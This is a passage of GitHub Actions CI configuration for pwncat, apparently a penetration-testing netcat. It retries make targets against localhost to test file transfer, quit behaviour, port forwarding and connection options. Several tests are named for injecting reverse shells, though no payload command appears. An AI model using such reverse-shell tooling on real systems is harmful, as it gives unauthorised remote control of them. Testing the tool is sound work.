env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-ubuntu-pypy3.yml000066400000000000000000001215201414025024700231260ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: ubu-py3 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[x64] [ubuntu] python-pypy3" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: pypy3 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq 